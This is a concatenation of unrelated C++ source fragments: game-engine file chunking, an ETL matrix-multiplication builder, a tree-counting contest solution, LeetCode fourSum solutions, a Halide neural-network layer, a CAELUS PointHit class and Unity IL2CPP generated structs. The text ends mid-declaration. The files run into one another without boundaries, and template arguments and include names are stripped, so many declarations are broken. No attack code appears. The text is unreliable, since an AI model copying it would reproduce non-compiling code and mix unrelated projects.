size); LARGE_INTEGER fsize; fsize.QuadPart = size; Assert(SetFilePointerEx(file, fsize, 0, FILE_BEGIN) == TRUE); Assert(SetEndOfFile(file) == TRUE); Assert(CloseHandle(file) == TRUE); } void CreateChunks() { // ReserveChunkData("D:\\Game Development\\Engine\\LiteForge\\Content\\Block_02.bin", 256 * 1024 * 3968); // CreateChunkData("D:\\Game Development\\Engine\\LiteForge\\Content\\Block_00.bin", 32); // CreateChunkData("D:\\Game Development\\Engine\\LiteForge\\Content\\Block_01.bin", 3968); // CreateChunkData("D:\\Game Development\\Engine\\LiteForge\\Content\\Block_02.bin", 3968); LoadChunkDataParallel("D:\\Game Development\\Engine\\LiteForge\\Content\\Block_01.bin", 3968); } // } // namespace lf constexpr LF_FORCE_INLINE int MakeInt(const char a, const char b, const char c, const char d) { // 0xAABBCCDD return a << 24 | b << 16 | c << 8 | d; } lf::TokenTable GlobalTokenTable; STATIC_TOKEN(ArgName, "Text"); namespace lf { TestSuite gTests ( StringTest, WStringTest, FileTest, ThreadTest, PointerTest, SStreamTest ); } // int main(int argc, const char** argv) // { // lf::Program::Execute(argc, argv); // /* // lf::SizeT bytesBefore = lf::LFGetBytesAllocated(); // lf::SetMainThread(); // lf::gTokenTable = &GlobalTokenTable; // GlobalTokenTable.Initialize(); // lf::ExecuteStaticInit(); // lf::CreateChunks(); // // { // lf::MemoryBuffer buffer; // buffer.Allocate(200, 16); // } // // (argc); // (argv); // lf::gAssertCallback = GameAssert; // lf::TestFramework::ExecuteAllTests(); // lf::ExecuteStaticDestroy(); // GlobalTokenTable.Shutdown(); // lf::SizeT bytesAfter = lf::LFGetBytesAllocated(); // Assert(bytesBefore == bytesAfter); // */ // return 0; // }//======================================================================= // Copyright (c) 2014-2020 // Distributed under the terms of the MIT License. // (See accompanying file LICENSE or copy at // http://opensource.org/licenses/MIT) //======================================================================= /*! * \file mul_expression_builder.hpp * \brief Contains all the operators and functions to build multiplication expressions. */ #pragma once namespace etl { /*! * \brief Multiply two matrices together lazily (expression templates) * \param a The left hand side matrix * \param b The right hand side matrix * \return An expression representing the matrix-matrix multiplication of a and b */ template auto lazy_mul(A&& a, B&& b) -> detail::stable_transform_binary_helper { static_assert(all_etl_expr, "Matrix multiplication only supported for ETL expressions"); static_assert(all_2d, "Matrix multiplication only works in 2D"); return detail::stable_transform_binary_helper{mm_mul_transformer, detail::build_type>(a, b)}; } } //end of namespace etl #include #include #include using namespace std; vector operator + (const vector & a, const vector & b) { vector res(a.size()); for(int i = 0; i<(int)a.size(); i++) res[i] = a[i] + b[i]; return res; } void operator += (vector & a, const vector & b) { for(int i = 0; i<(int)a.size(); i++) a[i] += b[i]; } void operator ^= (vector & a, int p) { reverse(a.begin(), a.end()); reverse(a.begin(), a.begin()+p+1); reverse(a.begin()+p+1, a.end()); } struct Tree { int size; int k; vector > e{(size_t)size}; vector > cnt; vector subtree{vector(size, 1)}; long long ans{0}; Tree(int n, int k) : size(n), k(k), cnt(size, vector(k, 0) ) {} void addEdge(int x, int y) { --x; --y; e[x].push_back(y); e[y].push_back(x); } int dfs(int v, int from) { cnt[v][0]++; for(auto to : e[v]) if(to != from) { int tmp = dfs(to, v); ans += cnt[to][1] * 1LL * (size - tmp); for(int i = 1; i> n >> k; Tree T(n,k); for(int i = 1; i> x >> y; T.addEdge(x,y); } if(k == 1) T.dfsFor1(0, -1); else T.dfs(0, -1); cout << T.ans; return 0; } src/Features/EntityList.hpp #pragma once #include "Command.hpp" #include "Feature.hpp" #include "Utils.hpp" class EntityList : public Feature { public: EntityList(); CEntInfo *GetEntityInfoByIndex(int index); CEntInfo *GetEntityInfoByName(const char *name); CEntInfo *GetEntityInfoByClassName(const char *name); IHandleEntity *LookupEntity(const CBaseHandle &handle); }; extern EntityList *entityList; extern Command sar_list_ents; extern Command sar_find_ent; extern Command sar_find_ents; // version 1 class Solution { public: vector> fourSum(vector& nums, int target) { int len = nums.size(); int left, right, sum; vector> res; vector tmp; sort(nums.begin(), nums.end()); for (int i = 0; i < len - 3; i++) { if (i && nums[i] == nums[i - 1]) continue; for (int j = i + 1; j < len - 2; j++) { if (j != i + 1 && nums[j] == nums[j - 1]) continue; sum = target - nums[i] - nums[j]; left = j + 1; right = len - 1; while (left < right) { if (sum == nums[left] + nums[right]) { tmp.clear(); tmp.push_back(nums[i]); tmp.push_back(nums[j]); tmp.push_back(nums[left]); tmp.push_back(nums[right]); res.push_back(tmp); left++; right--; while (left < right && nums[left] == nums[left - 1]) left++; while (left < right && nums[right] == nums[right + 1]) right--; } else if (sum > nums[left] + nums[right]) { left++; } else { right--; } } } } return res; } }; // version 2 : class Solution { public: vector> fourSum(vector& nums, int target) { vector> res; int start = 0, end = nums.size(); sort(nums.begin(), nums.end()); for (; start < end; start++) { int tar = target - nums[start]; vector> r = threeSum(nums, tar, start + 1, end); for (int j = 0; j < r.size(); j++) { r[j].insert(r[j].begin(), nums[start]); res.push_back(r[j]); } } sort(res.begin(), res.end()); res.erase(unique(res.begin(), res.end()), res.end()); return res; } vector> threeSum(vector& nums, int target, int start, int end) { vector> res; for (; start < end; start++) { int tar = target - nums[start]; vector> r = twoSum(nums, tar, start + 1, end); for (int j = 0; j < r.size(); j++) { r[j].insert(r[j].begin(), nums[start]); res.push_back(r[j]); } } return res; } vector> twoSum(vector& nums, int target, int start, int end) { vector> res; end -= 1; while (start < end) { int cur = nums[start] + nums[end]; if (cur == target) { vector tmp; tmp.push_back(nums[start]); tmp.push_back(nums[end]); res.push_back(tmp); start++; end--; } else if (cur > target) { end--; } else { start++; } } return res; } };TUE-EE-ES/HalideReuseScheduler #include "Halide.h" namespace { using namespace Halide; using std::vector; class VDSR_Final_layer : public Halide::Generator { public: Input> in_layer{"in_layer", 3}; Input> convert2{"convert2", 3}; Input> W19{"W19",4}; Input> b19{"b19",1}; Output> final{"final", 2}; void generate(){ int pad=1; Var n,m,o; RDom r(0,3,0,3,0,64); Func in_layert; in_layert(n,m)=max(16.0f/255,min(235.0f/255,convert2(n,m,0))); Func b_conv19("b_conv18"); b_conv19(n,m,o) = BoundaryConditions::constant_exterior(in_layer,0.0f,0,convert2.width(),0,convert2.height())(n,m,o); Func f_conv19("f_conv19"); f_conv19=Func("convf"); f_conv19(n, m) = (b19(0)); f_conv19(n, m) += W19(r.x, r.y,r.z,0) * b_conv19(n + r.x-pad, m + r.y-pad,r.z ); final(n,m)=((f_conv19(n,m))+in_layert(n,m)); } }; } // namespace HALIDE_REGISTER_GENERATOR(VDSR_Final_layer, vdsr_final_layer) /*---------------------------------------------------------------------------*\ Copyright (C) 2011-2015 OpenFOAM Foundation ------------------------------------------------------------------------------- License This file is part of CAELUS. CAELUS is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. CAELUS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with CAELUS. If not, see . Class CML::PointHit Description This class describes the interaction of a face and a point. It carries the info of a successful hit and (if successful), returns the interaction point. \*---------------------------------------------------------------------------*/ #ifndef PointHit__H #define PointHit__H #include "bool.hpp" #include "token.hpp" // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // namespace CML { // Forward declaration of classes class Ostream; // Forward declaration of friend functions and operators template class PointHit; template inline Ostream& operator<<(Ostream&, const PointHit&); /*---------------------------------------------------------------------------*\ Class PointHit Declaration \*---------------------------------------------------------------------------*/ template class PointHit { // Private data //- Hit success bool hit_; //- Point of hit; for miss holds best estimate outside the object Point hitPoint_; //- Distance to hit point scalar distance_; //- Eligible miss bool eligibleMiss_; public: // Constructors //- Construct null PointHit() : hit_(false), hitPoint_(vector::zero), distance_(GREAT), eligibleMiss_(false) {} //- Construct from components PointHit ( const bool hit, const Point& p, const scalar dist, const bool eligibleMiss ) : hit_(hit), hitPoint_(p), distance_(dist), eligibleMiss_(eligibleMiss) {} //- Construct from point. Hit and distance set later PointHit(const Point& p) : hit_(false), hitPoint_(p), distance_(GREAT), eligibleMiss_(false) {} // Member Functions //- Is there a hit bool hit() const { return hit_; } //- Return hit point const Point& hitPoint() const { if (!hit_) { FatalErrorInFunction << "requested a hit point for a miss" << abort(FatalError); } return hitPoint_; } //- Return distance to hit scalar distance() const { return distance_; } //- Return miss point const Point& missPoint() const { if (hit_) { FatalErrorInFunction << "requested a miss point for a hit" << abort(FatalError); } return hitPoint_; } //- Return point with no checking const Point& rawPoint() const { return hitPoint_; } //- Is this an eligible miss bool eligibleMiss() const { return eligibleMiss_; } void setHit() { hit_ = true; eligibleMiss_ = false; } void setMiss(const bool eligible) { hit_ = false; eligibleMiss_ = eligible; } void setPoint(const Point& p) { hitPoint_ = p; } void setDistance(const scalar d) { distance_ = d; } // Ostream operator friend Ostream& operator<< ( Ostream& os, const PointHit& b ); }; template inline Ostream& operator<<(Ostream& os, const PointHit& b) { os << b.hit() << token::SPACE << b.rawPoint() << token::SPACE << b.distance() << token::SPACE << b.eligibleMiss(); return os; } // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // } // End namespace CML // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // #endif // ************************************************************************* // #include "pch-cpp.hpp" #ifndef _MSC_VER # include #else # include #endif #include #include template struct VirtFuncInvoker0 { typedef R (*Func)(void*, const RuntimeMethod*); static inline R Invoke (Il2CppMethodSlot slot, RuntimeObject* obj) { const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj); return ((Func)invokeData.methodPtr)(obj, invokeData.method); } }; struct VirtActionInvoker0 { typedef void (*Action)(void*, const RuntimeMethod*); static inline void Invoke (Il2CppMethodSlot slot, RuntimeObject* obj) { const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj); ((Action)invokeData.methodPtr)(obj, invokeData.method); } }; // UnityEngine.SubsystemDescriptor`1 struct SubsystemDescriptor_1_tEA7E5F11DBF319514A9F77C9765671DF1A3C8A7A; // UnityEngine.SubsystemDescriptor`1 struct SubsystemDescriptor_1_tB41B6146FDE975239B7C10EFDB3DFA321FB6D7B8; // UnityEngine.Subsystem`1 struct Subsystem_1_t4575204F3B43AA9E23E2950B19B23DDA26158377; // UnityEngine.Subsystem`1 struct Subsystem_1_t56D88B317016EC2FF380261B659BB963F1D9EDE6; // System.Char[] struct CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34; // System.Type[] struct TypeU5BU5D_t85B10489E46F06CEC7C4B1CCBD0E01FAB6649755; // System.Reflection.Binder struct Binder_t2BEE27FD84737D1E79BC47FD67F6D3DD2F2DDA30; // UnityEngine.ISubsystemDescriptor struct ISubsystemDescriptor_tEB935323042076ECFC076435FBD756B1E7953A14; // System.Reflection.MemberFilter struct MemberFilter_t48D0AA10105D186AF42428FA532D4B4332CF8B81; // System.String struct String_t; // UnityEngine.SubsystemDescriptor struct SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245; // System.Type struct Type_t; // System.Void struct Void_t700C6383A2A510C2CF4DD86DABD5CA9FF70ADAC5; // UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem struct XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02; // UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor struct XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB; // UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider struct Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058; IL2CPP_EXTERN_C RuntimeClass* ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* GestureState_tF46000290CC6332630D7FE0425DA51EB79CBE557_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* SubsystemRegistration_tC119E4E15B2EA84DE58F44840EBED3221FF8CFF2_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* Type_t_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* XRGestureSubsystemDescriptor_t6E5DC38A325CBBAC11AEA936891539086943D4EB_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C String_t* _stringLiteral72762D92721098FADE7768C799E282A57A12DFD1; IL2CPP_EXTERN_C String_t* _stringLiteralFBAF124AB08242B7785EC2B6DBC3C6459CB98BC8; IL2CPP_EXTERN_C String_t* _stringLiteralFDA1C52D0E58360F4E8FD608757CCD98D8772D4F; IL2CPP_EXTERN_C const RuntimeMethod* NativeArray_1_Dispose_m565A4AE590F9F3682391E46334F82FF3284BBD03_RuntimeMethod_var; IL2CPP_EXTERN_C const RuntimeMethod* NativeArray_1__ctor_m85C76CF5D67D240F2DBE8ECEE3C209C3E8A1A0F2_RuntimeMethod_var; IL2CPP_EXTERN_C const RuntimeMethod* SubsystemDescriptor_1__ctor_m726DAD2ACE74AFA7421100A51D4763218EE3ACCE_RuntimeMethod_var; IL2CPP_EXTERN_C const RuntimeMethod* Subsystem_1__ctor_mEE987A8D6EA9F896678151DE5CF2D350E09AF6E8_RuntimeMethod_var; IL2CPP_EXTERN_C_BEGIN IL2CPP_EXTERN_C_END #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // struct U3CModuleU3E_tC2BAE4687A10DC304C734306E2DAE46832ACEE40 { public: public: }; // System.Object struct Il2CppArrayBounds; // System.Array // System.Reflection.MemberInfo struct MemberInfo_t : public RuntimeObject { public: public: }; // System.String struct String_t : public RuntimeObject { public: // System.Int32 System.String::m_stringLength int32_t ___m_stringLength_0; // System.Char System.String::m_firstChar Il2CppChar ___m_firstChar_1; public: inline static int32_t get_offset_of_m_stringLength_0() { return static_cast(offsetof(String_t, ___m_stringLength_0)); } inline int32_t get_m_stringLength_0() const { return ___m_stringLength_0; } inline int32_t* get_address_of_m_stringLength_0() { return &___m_stringLength_0; } inline void set_m_stringLength_0(int32_t value) { ___m_stringLength_0 = value; } inline static int32_t get_offset_of_m_firstChar_1() { return static_cast(offsetof(String_t, ___m_firstChar_1)); } inline Il2CppChar get_m_firstChar_1() const { return ___m_firstChar_1; } inline Il2CppChar* get_address_of_m_firstChar_1() { return &___m_firstChar_1; } inline void set_m_firstChar_1(Il2CppChar value) { ___m_firstChar_1 = value; } }; struct String_t_StaticFields { public: // System.String System.String::Empty String_t* ___Empty_5; public: inline static int32_t get_offset_of_Empty_5() { return static_cast(offsetof(String_t_StaticFields, ___Empty_5)); } inline String_t* get_Empty_5() const { return ___Empty_5; } inline String_t** get_address_of_Empty_5() { return &___Empty_5; } inline void set_Empty_5(String_t* value) { ___Empty_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___Empty_5), (void*)value); } }; // UnityEngine.Subsystem struct Subsystem_t2D97454A946149D608974CB6B674F5F5C613A6A4 : public RuntimeObject { public: // UnityEngine.ISubsystemDescriptor UnityEngine.Subsystem::m_SubsystemDescriptor RuntimeObject* ___m_SubsystemDescriptor_0; public: inline static int32_t get_offset_of_m_SubsystemDescriptor_0() { return static_cast(offsetof(Subsystem_t2D97454A946149D608974CB6B674F5F5C613A6A4, ___m_SubsystemDescriptor_0)); } inline RuntimeObject* get_m_SubsystemDescriptor_0() const { return ___m_SubsystemDescriptor_0; } inline RuntimeObject** get_address_of_m_SubsystemDescriptor_0() { return &___m_SubsystemDescriptor_0; } inline void set_m_SubsystemDescriptor_0(RuntimeObject* value) { ___m_SubsystemDescriptor_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_SubsystemDescriptor_0), (void*)value); } }; // UnityEngine.SubsystemDescriptor struct SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245 : public RuntimeObject { public: // System.String UnityEngine.SubsystemDescriptor::k__BackingField String_t* ___U3CidU3Ek__BackingField_0; // System.Type UnityEngine.SubsystemDescriptor::k__BackingField Type_t * ___U3CsubsystemImplementationTypeU3Ek__BackingField_1; public: inline static int32_t get_offset_of_U3CidU3Ek__BackingField_0() { return static_cast(offsetof(SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245, ___U3CidU3Ek__BackingField_0)); } inline String_t* get_U3CidU3Ek__BackingField_0() const { return ___U3CidU3Ek__BackingField_0; } inline String_t** get_address_of_U3CidU3Ek__BackingField_0() { return &___U3CidU3Ek__BackingField_0; } inline void set_U3CidU3Ek__BackingField_0(String_t* value) { ___U3CidU3Ek__BackingField_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CidU3Ek__BackingField_0), (void*)value); } inline static int32_t get_offset_of_U3CsubsystemImplementationTypeU3Ek__BackingField_1() { return static_cast(offsetof(SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245, ___U3CsubsystemImplementationTypeU3Ek__BackingField_1)); } inline Type_t * get_U3CsubsystemImplementationTypeU3Ek__BackingField_1() const { return ___U3CsubsystemImplementationTypeU3Ek__BackingField_1; } inline Type_t ** get_address_of_U3CsubsystemImplementationTypeU3Ek__BackingField_1() { return &___U3CsubsystemImplementationTypeU3Ek__BackingField_1; } inline void set_U3CsubsystemImplementationTypeU3Ek__BackingField_1(Type_t * value) { ___U3CsubsystemImplementationTypeU3Ek__BackingField_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CsubsystemImplementationTypeU3Ek__BackingField_1), (void*)value); } }; // System.ValueType struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52 : public RuntimeObject { public: public: }; // Native definition for P/Invoke marshalling of System.ValueType struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52_marshaled_pinvoke { }; // Native definition for COM marshalling of System.ValueType struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52_marshaled_com { }; // UnityEngine.SubsystemDescriptor`1 struct SubsystemDescriptor_1_tB41B6146FDE975239B7C10EFDB3DFA321FB6D7B8 : public SubsystemDescriptor_tF663011CB44AB1D342821BBEF7B6811E799A7245 { public: public: }; // UnityEngine.Subsystem`1 struct Subsystem_1_t56D88B317016EC2FF380261B659BB963F1D9EDE6 : public Subsystem_t2D97454A946149D608974CB6B674F5F5C613A6A4 { public: public: }; // System.Boolean struct Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37 { public: // System.Boolean System.Boolean::m_value bool ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37, ___m_value_0)); } inline bool get_m_value_0() const { return ___m_value_0; } inline bool* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(bool value) { ___m_value_0 = value; } }; struct Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields { public: // System.String System.Boolean::TrueString String_t* ___TrueString_5; // System.String System.Boolean::FalseString String_t* ___FalseString_6; public: inline static int32_t get_offset_of_TrueString_5() { return static_cast(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields, ___TrueString_5)); } inline String_t* get_TrueString_5() const { return ___TrueString_5; } inline String_t** get_address_of_TrueString_5() { return &___TrueString_5; } inline void set_TrueString_5(String_t* value) { ___TrueString_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___TrueString_5), (void*)value); } inline static int32_t get_offset_of_FalseString_6() { return static_cast(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields, ___FalseString_6)); } inline String_t* get_FalseString_6() const { return ___FalseString_6; } inline String_t** get_address_of_FalseString_6() { return &___FalseString_6; } inline void set_FalseString_6(String_t* value) { ___FalseString_6 = value; Il2CppCodeGenWriteBarrier((void**)(&___FalseString_6), (void*)value); } }; // System.Enum struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA : public ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52 { public: public: }; struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_StaticFields { public: // System.Char[] System.Enum::enumSeperatorCharArray CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* ___enumSeperatorCharArray_0; public: inline static int32_t get_offset_of_enumSeperatorCharArray_0() { return static_cast(offsetof(Enum_t23B90B40F60E677A8025267341651C94AE079CDA_StaticFields, ___enumSeperatorCharArray_0)); } inline CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* get_enumSeperatorCharArray_0() const { return ___enumSeperatorCharArray_0; } inline CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34** get_address_of_enumSeperatorCharArray_0() { return &___enumSeperatorCharArray_0; } inline void set_enumSeperatorCharArray_0(CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* value) { ___enumSeperatorCharArray_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___enumSeperatorCharArray_0), (void*)value); } }; // Native definition for P/Invoke marshalling of System.Enum struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_marshaled_pinvoke { }; // Native definition for COM marshalling of System.Enum struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_marshaled_com { }; // UnityEngine.XR.InteractionSubsystems.GestureId struct GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 { public: // System.UInt64 UnityEngine.XR.InteractionSubsystems.GestureId::m_SubId1 uint64_t ___m_SubId1_1; // System.UInt64 UnityEngine.XR.InteractionSubsystems.GestureId::m_SubId2 uint64_t ___m_SubId2_2; public: inline static int32_t get_offset_of_m_SubId1_1() { return static_cast(offsetof(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7, ___m_SubId1_1)); } inline uint64_t get_m_SubId1_1() const { return ___m_SubId1_1; } inline uint64_t* get_address_of_m_SubId1_1() { return &___m_SubId1_1; } inline void set_m_SubId1_1(uint64_t value) { ___m_SubId1_1 = value; } inline static int32_t get_offset_of_m_SubId2_2() { return static_cast(offsetof(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7, ___m_SubId2_2)); } inline uint64_t get_m_SubId2_2() const { return ___m_SubId2_2; } inline uint64_t* get_address_of_m_SubId2_2() { return &___m_SubId2_2; } inline void set_m_SubId2_2(uint64_t value) { ___m_SubId2_2 = value; } }; struct GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_StaticFields { public: // UnityEngine.XR.InteractionSubsystems.GestureId UnityEngine.XR.InteractionSubsystems.GestureId::s_InvalidId GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ___s_InvalidId_0; public: inline static int32_t get_offset_of_s_InvalidId_0() { return static_cast(offsetof(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_StaticFields, ___s_InvalidId_0)); } inline GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 get_s_InvalidId_0() const { return ___s_InvalidId_0; } inline GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * get_address_of_s_InvalidId_0() { return &___s_InvalidId_0; } inline void set_s_InvalidId_0(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 value) { ___s_InvalidId_0 = value; } }; // System.Int32 struct Int32_tFDE5F8CD43D10453F6A2E0C77FE48C6CC7009046 { public: // System.Int32 System.Int32::m_value int32_t ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast(offsetof(Int32_tFDE5F8CD43D10453F6A2E0C77FE48C6CC7009046, ___m_value_0)); } inline int32_t get_m_value_0() const { return ___m_value_0; } inline int32_t* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(int32_t value) { ___m_value_0 = value; } }; // System.IntPtr struct IntPtr_t { public: // System.Void* System.IntPtr::m_value void* ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast(offsetof(IntPtr_t, ___m_value_0)); } inline void* get_m_value_0() const { return ___m_value_0; } inline void** get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(void* value) { ___m_value_0 = value; } }; struct IntPtr_t_StaticFields { public: // System.IntPtr System.IntPtr::Zero intptr_t ___Zero_1; public: inline static int32_t get_offset_of_Zero_1() { return static_cast(offsetof(IntPtr_t_StaticFields, ___Zero_1)); } inline intptr_t get_Zero_1() const { return ___Zero_1; } inline intptr_t* get_address_of_Zero_1() { return &___Zero_1; } inline void set_Zero_1(intptr_t value) { ___Zero_1 = value; } }; // System.UInt64 struct UInt64_tEC57511B3E3CA2DBA1BEBD434C6983E31C943281 { public: // System.UInt64 System.UInt64::m_value uint64_t ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast(offsetof(UInt64_tEC57511B3E3CA2DBA1BEBD434C6983E31C943281, ___m_value_0)); } inline uint64_t get_m_value_0() const { return ___m_value_0; } inline uint64_t* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(uint64_t value) { ___m_value_0 = value; } }; // System.Void struct Void_t700C6383A2A510C2CF4DD86DABD5CA9FF70ADAC5 { public: union { struct { }; uint8_t Void_t700C6383A2A510C2CF4DD86DABD5CA9FF70ADAC5__padding[1]; }; public: }; // UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo struct Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227 { public: // System.String UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::k__BackingField String_t* ___U3CidU3Ek__BackingField_0; // System.Type UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo::k__BackingField Type_t * ___U3CsubsystemImplementationTypeU3Ek__BackingField_1; public: inline static int32_t get_offset_of_U3CidU3Ek__BackingField_0() { return static_cast(offsetof(Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227, ___U3CidU3Ek__BackingField_0)); } inline String_t* get_U3CidU3Ek__BackingField_0() const { return ___U3CidU3Ek__BackingField_0; } inline String_t** get_address_of_U3CidU3Ek__BackingField_0() { return &___U3CidU3Ek__BackingField_0; } inline void set_U3CidU3Ek__BackingField_0(String_t* value) { ___U3CidU3Ek__BackingField_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CidU3Ek__BackingField_0), (void*)value); } inline static int32_t get_offset_of_U3CsubsystemImplementationTypeU3Ek__BackingField_1() { return static_cast(offsetof(Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227, ___U3CsubsystemImplementationTypeU3Ek__BackingField_1)); } inline Type_t * get_U3CsubsystemImplementationTypeU3Ek__BackingField_1() const { return ___U3CsubsystemImplementationTypeU3Ek__BackingField_1; } inline Type_t ** get_address_of_U3CsubsystemImplementationTypeU3Ek__BackingField_1() { return &___U3CsubsystemImplementationTypeU3Ek__BackingField_1; } inline void set_U3CsubsystemImplementationTypeU3Ek__BackingField_1(Type_t * value) { ___U3CsubsystemImplementationTypeU3Ek__BackingField_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CsubsystemImplementationTypeU3Ek__BackingField_1), (void*)value); } }; // Native definition for P/Invoke marshalling of UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo struct Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshaled_pinvoke { char* ___U3CidU3Ek__BackingField_0; Type_t * ___U3CsubsystemImplementationTypeU3Ek__BackingField_1; }; // Native definition for COM marshalling of UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo struct Cinfo_t54ECED2FE09846D0F2F1981C3232E3DB2A87F227_marshaled_com { Il2CppChar* ___U3CidU3Ek__BackingField_0; Type_t * ___U3CsubsystemImplementationTypeU3Ek__BackingField_1; }; // Unity.Collections.Allocator struct Allocator_t9888223DEF4F46F3419ECFCCD0753599BEE52A05 { public: // System.Int32 Unity.Collections.Allocator::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(Allocator_t9888223DEF4F46F3419ECFCCD0753599BEE52A05, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // System.Reflection.BindingFlags struct BindingFlags_tAAAB07D9AC588F0D55D844E51D7035E96DF94733 { public: // System.Int32 System.Reflection.BindingFlags::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(BindingFlags_tAAAB07D9AC588F0D55D844E51D7035E96DF94733, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // UnityEngine.XR.InteractionSubsystems.GestureState struct GestureState_tF46000290CC6332630D7FE0425DA51EB79CBE557 { public: // System.Int32 UnityEngine.XR.InteractionSubsystems.GestureState::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(GestureState_tF46000290CC6332630D7FE0425DA51EB79CBE557, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // Unity.Collections.NativeArrayOptions struct NativeArrayOptions_t181E2A9B49F6D62868DE6428E4CDF148AEF558E3 { public: // System.Int32 Unity.Collections.NativeArrayOptions::value__ int32_t ___value___2; public: inline static int32_t 